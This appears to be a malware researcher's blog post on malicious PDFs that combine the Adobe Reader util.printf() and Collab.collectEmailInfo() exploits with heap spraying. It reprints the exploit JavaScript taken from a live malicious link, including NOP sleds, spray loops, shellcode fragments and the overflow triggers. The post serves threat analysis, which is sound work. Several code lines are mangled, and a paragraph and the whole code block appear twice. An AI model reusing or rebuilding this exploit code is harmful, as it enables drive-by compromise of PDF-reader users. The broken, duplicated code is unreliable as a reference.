So right after the latest Adobe 0-day was found in the wild and it was seen to be using heapspraying as part of the exploit and payload delivery I noticed a change in the other Abobe exploits doing the rounds. Both the Adobe printf() and collectEmailInfo() exploits are now taking advantage of heapspraying. I guess it makes sense considering that most, if not all, of the pdf exploits are being delivered via a link rather than an attachment. The browser will render the pdf within the window and so heapspraying will work nicely. This does limit it to IE though.
Another interesting change is that I'm seeing both exploit vectors in a single pdf. A quick visit to hxxp://skalty.com/qqa/paf.php returned a pdf with the following javascript:
----
function fix_it(yarsp, len)
{
while (yarsp.length*2
yarsp = yarsp.substring(0,len/2);
return yarsp;
}
var version = app.viewerVersion;
if (version > 8)
{
var payload = unescape("%u0A0A%u0A0A%u0A0A"+"%uE1D9%u34D9%u5824...snip...");
nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
heapblock = nop + payload;
bigblock = unescape("%u0A0A%u0A0A");
headersize = 20;
spray = headersize+heapblock.length;
while (bigblock.length
fillblock = bigblock.substring(0, spray);
block = bigblock.substring(0, bigblock.length-spray);
while(block.length+spray < block ="" mem =" new" i="0;i<1400;i++)">
var num = 12999999999999999999888888...snip...;
util.printf("%45000f",num);
}
else
{
var addkk = unescape("%u0A0A%u0A0A%u0A0A"+"%uE1D9%u34D9....snip...");
var mem_array = new Array();
var cc = 0x0c0c0c0c;
var addr = 0x400000;
var sc_len = addkk.length * 2;
var len = addr - (sc_len+0x38);
var yarsp = unescape("%u9090%u9090");
yarsp = fix_it(yarsp, len);
var count2 = (cc - 0x400000)/addr;
for (var count=0;countcount2;count++)
{
mem_array[count] = yarsp + addkk;
}
var overflow = unescape("%u0c0c%u0c0c");
while(overflow.length <>
this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow});
}
this.kasp]ac();
----
Nothing new really but it's always interesting to see how the exploits and their delivery mechanisms evolve.
Another interesting change is that I'm seeing both exploit vectors in a single pdf. A quick visit to hxxp://skalty.com/qqa/paf.php returned a pdf with the following javascript:
----
function fix_it(yarsp, len)
{
while (yarsp.length*2
yarsp = yarsp.substring(0,len/2);
return yarsp;
}
var version = app.viewerVersion;
if (version > 8)
{
var payload = unescape("%u0A0A%u0A0A%u0A0A"+"%uE1D9%u34D9%u5824...snip...");
nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
heapblock = nop + payload;
bigblock = unescape("%u0A0A%u0A0A");
headersize = 20;
spray = headersize+heapblock.length;
while (bigblock.length
fillblock = bigblock.substring(0, spray);
block = bigblock.substring(0, bigblock.length-spray);
while(block.length+spray < block ="" mem =" new" i="0;i<1400;i++)">
var num = 12999999999999999999888888...snip...;
util.printf("%45000f",num);
}
else
{
var addkk = unescape("%u0A0A%u0A0A%u0A0A"+"%uE1D9%u34D9....snip...");
var mem_array = new Array();
var cc = 0x0c0c0c0c;
var addr = 0x400000;
var sc_len = addkk.length * 2;
var len = addr - (sc_len+0x38);
var yarsp = unescape("%u9090%u9090");
yarsp = fix_it(yarsp, len);
var count2 = (cc - 0x400000)/addr;
for (var count=0;countcount2;count++)
{
mem_array[count] = yarsp + addkk;
}
var overflow = unescape("%u0c0c%u0c0c");
while(overflow.length <>
this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow});
}
this.kasp]ac();
----
Nothing new really but it's always interesting to see how the exploits and their delivery mechanisms evolve.
